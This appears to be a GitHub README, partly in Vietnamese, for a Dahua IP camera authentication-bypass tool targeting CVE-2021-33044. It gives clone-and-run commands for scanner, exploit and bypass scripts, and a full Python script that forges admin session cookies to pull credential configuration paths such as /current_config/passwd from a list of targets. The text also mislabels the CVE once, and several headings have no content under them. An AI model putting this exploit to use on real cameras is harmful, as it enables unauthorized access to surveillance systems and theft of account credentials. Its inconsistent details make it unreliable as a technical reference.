
DAHUA_AUTH-BYPASS-CVE-2021-33044
Dahua IP cameras are IoT devices commonly used in security surveillance systems. Since they are often deployed on internal networks or accessible from the Internet, security vulnerabilities in IP cameras can severely impact privacy and information security.
CVE-2021-33045 is a security vulnerability present in some Dahua camera models, allowing unauthorized access to internal configuration resources without valid authentication. This vulnerability stems from weak access control mechanisms in the device firmware.
| Item | Details |
|---|---|
| CVE | CVE-2021-33044 |
| Type | Authentication Bypass |
| Severity | Critical (CVSS ~9.8) |
| Auth | No authentication required |
| Affected | Dahua Camera / DVR / NVR |
The vulnerability stems from insecure authentication design in Dahua camera firmware:
This allows an attacker to:
References:
→ Client gửi HTTP request kèm cookie tùy ý
→ Camera kiểm tra cookie ở mức giao diện
→ Không xác minh session hợp lệ ở backend
→ Cho phép truy cập trực tiếp vào các endpoint cấu hình nội bộ
→ Trả về dữ liệu nhạy cảm
# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Single host with port
python dahua_scanner.py https://example.com
Common Dahua ports: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Dump thiết bị sau khi bypass
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
The script uses the requests library and actively disables SSL warnings to suppress SSL alerts.
The dump_accounts(ip, port=80) function is the main function responsible for checking a camera device.
The main purpose of the function is to:
Simulating authentication cookies. The function uses cookie values such as:
userName=adminuserLevel=1sessionID=00000000In affected camera versions, the backend does not verify the actual sessionID, leading the system to believe the request comes from a valid admin account.
The script reads the target list from an input file and calls the check function for each device sequentially. This approach allows automated assessment of multiple cameras.
These scripts were developed based on:
Test Status:
This project:
| File | Purpose | CVEs |
|---|
dahua_scanner.py | Network discovery — find Dahua cameras on subnet | Detection |
dahua_exploit.py | Multi-CVE scan tool — check all security vulnerabilities. | All |
dahua_auth_bypass.py | Dedicated authentication bypass with --dump option | CVE-2021-33044 |